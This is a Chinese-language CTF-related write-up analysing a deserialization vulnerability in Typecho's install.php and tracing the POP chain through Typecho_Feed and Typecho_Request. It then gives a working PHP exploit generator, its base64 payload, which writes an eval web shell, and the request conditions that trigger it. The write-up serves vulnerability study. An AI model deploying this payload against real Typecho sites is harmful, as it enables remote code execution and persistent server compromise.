typecho 反序列化漏洞分析

今年西湖论剑线下web1就是typecho,其中自带了这个CVE漏洞。这个反序列化漏洞存在于install.php,POP链构造很巧妙,分析一下。

POP链分析

在230行我们发现它反序列化了Typecho_Cookie::get('__typecho_config'))内容。跟踪发现只要在cookie中存储__typecho_config值就行。

一般的直接反序列化我们能利用的魔法函数有__destruct__wakeup,但全局搜索没有看到什么可以利用的函数。跟踪反序列化后的内容可以发现,$config别作为参数传入类Typecho_Db

跟踪类

$config参数被作为字符串,有字符串的拼接行为。此时如果$config为一个对象,就会调用它的__toString魔法函数,此时我们就多了一个魔法函数调用,全局搜索

有三个,一个一个分析。第一个

只有序列化操作没有什么用。第三个主要是数据库操作也没有什么。

第二个,代码很长,但是内容不多,主要是将类中_items遍历字符串拼接。

其中有一个$item['author']->screenName 此时,如果$item['author'] 是一个对象,且不存在screenName属性时,会自动调用__get魔法函数。此时我们又出现一条路,通过__get魔法函数寻找可调用的危险函数。说干就干,全局搜索__get

内容很多,跟进在Request.php中的__get

继续跟进get函数

在这里可以在类属性_params中存储键值为screenName值为任意的字符串传入_applyFilter函数,跟进

在这里,终于看到危险函数call_user_func,第一个参数为函数名,第二个参数为输入函数的参数。利用也非常简单。

payload生成

根据上面的分析,POP链一步步的跟进我们可以生成以下的利用链

<?php

class Typecho_Request
{
 private $_filter=array("assert");
 private $_params=array("screenName"=>"file_put_contents('jrxnm.php', '<?php eval(\$_GET[jrxnm]);');"); 
}


class Typecho_Feed
{
    private $_items = array();
    private $_type = 'RSS 2.0';
    function __construct(){
        $item['author'] = new Typecho_Request();
        $this->_items[0] = $item;
    }

}

$abc = new Typecho_Feed();
echo base64_encode(serialize(array("adapter"=>$abc,"prefix"=>"_typecho")));

生成YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjYwOiJmaWxlX3B1dF9jb250ZW50cygnanJ4bm0ucGhwJywgJzw/cGhwIGV2YWwoJF9HRVRbanJ4bm1dKTsnKTsiO319fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO31zOjY6InByZWZpeCI7czo4OiJfdHlwZWNobyI7fQ==

利用

回到install.php,在上面我们生成了反序列化输入的内容,那么如何触发反序列化呢,分析install.php还应有很简单的两个条件

  1. Referer为本站链接
  2. GET finish必须有值